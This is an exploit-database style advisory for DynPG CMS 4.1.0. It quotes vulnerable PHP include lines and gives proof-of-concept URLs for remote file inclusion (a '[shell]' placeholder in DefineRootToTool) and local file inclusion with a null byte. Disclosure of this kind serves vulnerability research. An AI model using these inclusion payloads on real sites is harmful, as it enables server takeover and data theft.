########################################################
DynPG CMS v4.1.0 Multiple Vulnerability
########################################################
fucking the Web Apps [attack edition]
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ Hack0wn! Security Project
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
[+]Title : DynPG CMS v4.1.0 Multiple Vulnerability
[+]Version: 4.1.0 (Other or lower versions may also be affected)
[+]Download: http://www.dynpg.org/download_en.php
[+]License: GNU / GPL
[+]Metode : Multiple
[+]Author: eidelweiss
[!]Work If: register_globals = On
magic_quotes = Off
[*]Special to Syabilla_putri (I miss u so much to)[*]
[!]Thank`s Fly To:
[~] Jose Luis Gongora Fernandez a.k.a JosS - sp3x (securityreason)
[~] exploit-db team (loneferret - Exploits - dookie2000ca)
[~] Inj3ct0r.com r0073r & 0x1D [Inj3ct0r Exploit Database], [D]eal [C]yber
########################################################
Description:
DynPG is used to upload and manage dynamic web content similar to other content management systems.
DynPG however differs from other CMS, because it is embedded directly into websites.
The software was originally developed to realize designs that are created with Adobe Photoshop, Adobe Fireworks, Adobe Illustrator or any other graphics software.
The layout is created with an editor like Adobe Dreamweaver or Adobe GoLive or even as simple code.
After that, code snippets are placed at those points, where dynamically generated content (like articles, galleries, blogs or other dynamic content) shall be generated.
It provides a convenient way to extend existing websites with dynamic content. DynPG provides a template engine, but also supports existing CSS layouts.
########################################################
-=[ Vuln C0de ]=-
[!] counter.php
require_once $GLOBALS["DefineRootToTool"]."config.php"; // line 15
require_once $GLOBALS["DefineRootToTool"]."connectdb.php"; // line 16
[!] /plugins/DPGguestbook/guestbookaction.php
<?php
function dynPG_Guestbook_proceedREQ()
{
require_once $GLOBALS['DynPG']->PathToRoot .'config.php';
require_once $GLOBALS['DynPG']->PathToRoot .'defines.php';
require_once $GLOBALS['DynPG']->PathToRoot .'connectdb.php';
[!] /backendpopup/popup.php
require './resources/' . $get_popUpResource . '/index.res.php'; // line 36
[!] etc , etc , etc
-=[ Proof Of Concept ]=-
http://127.0.0.1/dynpg_path/counter.php?inc=whtever&DefineRootToTool=[shell] <-- RFI
http://127.0.0.1/dynpg_path/backendpopup/popup.php?popUpResource=[LFI]%00
etc , etc , etc
######################=[E0F]=#############################
